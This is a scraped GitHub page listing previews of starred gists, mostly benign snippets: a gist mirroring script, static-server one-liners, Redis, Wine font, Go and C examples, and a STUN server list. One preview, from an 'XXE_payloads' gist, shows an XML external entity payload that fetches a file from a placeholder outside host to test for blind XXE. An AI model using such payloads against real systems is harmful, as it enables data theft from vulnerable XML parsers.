Skip to content

Instantly share code, notes, and snippets.

View akkuman's full-sized avatar
💭
I may be slow to respond.

akkuman

💭
I may be slow to respond.
View GitHub Profile
@sbp
sbp / project.bash
Created December 20, 2011 17:05
Mirror a user's gists
#!/bin/sh
GIST_USER=sbp
function usage() {
echo Usage: $0 [command], where command is one of:
echo update - Gets any new gists for user
echo pull - Keep existing gists synced with server
echo sync - Do an update then a pull
}
@willurd
willurd / web-servers.md
Last active April 26, 2024 18:00
Big list of http static server one-liners

Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.

Discussion on reddit.

Python 2.x

$ python -m SimpleHTTPServer 8000
@staaldraad
staaldraad / XXE_payloads
Last active April 7, 2024 14:26
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@itamarhaber
itamarhaber / 00_copy_key.lua
Last active December 14, 2023 14:14
The fastest, type-agnostic way to copy a Redis key, as discussed in https://redislabs.com/blog/the-7th-principle-of-redis-we-optimize-for-joy
-- @desc: The fastest, type-agnostic way to copy a Redis key
-- @usage: redis-cli --eval copy_key.lua <source> <dest> , [NX]
local s = KEYS[1]
local d = KEYS[2]
if redis.call("EXISTS", d) == 1 then
if type(ARGV[1]) == "string" and ARGV[1]:upper() == "NX" then
return nil
else
@swordfeng
swordfeng / chn_fonts.reg
Last active February 21, 2024 19:01
Chinese font settings in wine
REGEDIT4
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\FontLink\SystemLink]
"Arial"="wqy-microhei.ttc"
"Arial Black"="wqy-microhei.ttc"
"Arial CE,238"="wqy-microhei.ttc"
"Arial CYR,204"="wqy-microhei.ttc"
"Arial Greek,161"="wqy-microhei.ttc"
"Arial TUR,162"="wqy-microhei.ttc"
"Courier New"="wqy-microhei.ttc"
@reinsteam
reinsteam / enum_heaps.c
Created August 28, 2015 11:51
Sample code of heap enumeration without using Tool Help functions <tlhelp32.h>
#ifndef WIN32_LEAN_AND_MEAN
# define WIN32_LEAN_AND_MEAN
#endif
#pragma warning (push)
/* 4820: '<struct-name>' : 'n' bytes padding added after data member '<member-name>'*/
# pragma warning (disable : 4820)
# include <windows.h>
# include <stdio.h>
@kotakanbe
kotakanbe / ipcalc.go
Created September 17, 2015 02:59
get all IP address from CIDR in golang
package main
import (
"net"
"os/exec"
"github.com/k0kubun/pp"
)
func Hosts(cidr string) ([]string, error) {
@zchee
zchee / cgo.md
Last active April 18, 2024 06:14
cgo convert list

See also, http://libraryofalexandria.io/cgo/

Using Go cgo

cgo has a lot of trap.
but Not "C" pkg also directory in $GOROOT/src. IDE's(vim) Goto command not works.

So, Here collect materials.

@mondain
mondain / public-stun-list.txt
Last active April 22, 2024 08:55
Public STUN server list
23.21.150.121:3478
iphone-stun.strato-iphone.de:3478
numb.viagenie.ca:3478
s1.taraba.net:3478
s2.taraba.net:3478
stun.12connect.com:3478
stun.12voip.com:3478
stun.1und1.de:3478
stun.2talk.co.nz:3478
stun.2talk.com:3478
@svcavallar
svcavallar / rabbitmq_reconnect.go
Created September 20, 2016 22:23
Golang example to reconnect to RabbitMQ on a connection closed event
package main
import (
"flag"
"github.com/streadway/amqp"
"log"
"time"
)
var amqpUri = flag.String("r", "amqp://guest:guest@127.0.0.1/", "RabbitMQ URI")